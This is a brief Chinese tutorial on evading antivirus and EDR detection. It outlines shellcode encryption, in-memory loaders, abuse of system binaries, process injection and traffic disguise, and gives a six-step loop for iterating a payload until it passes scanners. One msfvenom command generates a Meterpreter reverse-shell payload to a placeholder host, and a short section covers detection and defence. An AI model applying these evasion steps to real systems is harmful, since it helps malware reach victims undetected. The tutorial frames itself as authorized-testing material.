免杀基础:杀软/EDR 检测原理、静态与行为免杀思路(编码/混淆/加载器/白名单/进程注入)、工具与检测对抗。
写在前面:合法学习边界
免杀技术仅用于授权测试与安全研究。对真实系统投放免杀木马可能触犯法律。
一、原理:杀软在查什么
1
2
3
| 静态查杀:文件特征(特征码/哈希/字符串)
行为查杀:运行时的进程、注入、外联行为(EDR 更强)
云查杀:多引擎(VT)交叉识别
|
免杀 = 让木马“看起来不像恶意 + 跑起来不像恶意”。
二、影响
1
2
| 免杀决定“打不打得进去”
静态过 + 行为过 + 上线稳,才算成功
|
三、免杀思路(由浅到深)
1. 特征混淆(过静态)
1
2
3
| 改特征字符串、哈希
加壳/压缩(UPX 等,已过时)
加密 shellcode(AES/XOR)
|
2. 编码与分离(过静态)
1
2
3
4
| # shellcode 加密后内置,运行时解密执行
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x LPORT=x \
-f raw -o payload.bin
# 用加载器在内存中解密执行,不落地特征文件
|
3. 白名单程序加载(过执行链)
1
2
| 利用系统自带工具加载:rundll32、mshta、powershell、cscript
或签名的白文件(如可执行 EXE/DLL 侧加载)
|
4. 进程注入 / 内存马(过落地检测)
1
2
| 注入白进程内存运行,不落地文件
无文件攻击(PowerShell 内存执行)
|
5. 行为免杀(过 EDR)
1
2
3
| 降低回连频率、伪造合法流量
避免敏感 API(OpenProcess/WriteProcessMemory)被特征化
分阶段回连、域名前置
|
四、常见工具
1
2
3
4
| Cobalt Strike / MSF 的 shellcode 与加载器
Shellter、Veil、MSFvenom 加密
C#/Go/Rust 写的自定义加载器
(注:免杀是持续对抗,公开工具时效短)
|
五、操作步骤
1
2
3
4
5
6
| 第 1 步:生成/准备 shellcode(CS/MSF)
第 2 步:加密 shellcode + 写加载器(内存执行)
第 3 步:静态检测(VT/本地杀软)看报毒
第 4 步:动态检测(跑起来看 EDR 行为)
第 5 步:迭代混淆直到通过(授权内)
第 6 步:上线后仍要行为免杀
|
六、检测与防御(对立面)
1
2
3
4
| EDR:行为检测(进程注入/敏感 API/回连)
内存扫描(检测内存中的 shellcode)
应用白名单(禁止未签名程序运行)
威胁狩猎(异常进程链)
|
七、小结
免杀 = “过静态 + 过行为”。路线从混淆特征 → 加密分离 → 白名单加载 → 进程注入 → 行为伪装,逐层深入。它是与杀软/EDR 的持续对抗,没有一劳永逸。防守端靠 EDR 行为检测、内存扫描和应用白名单来对抗。
再次强调:仅授权内研究使用。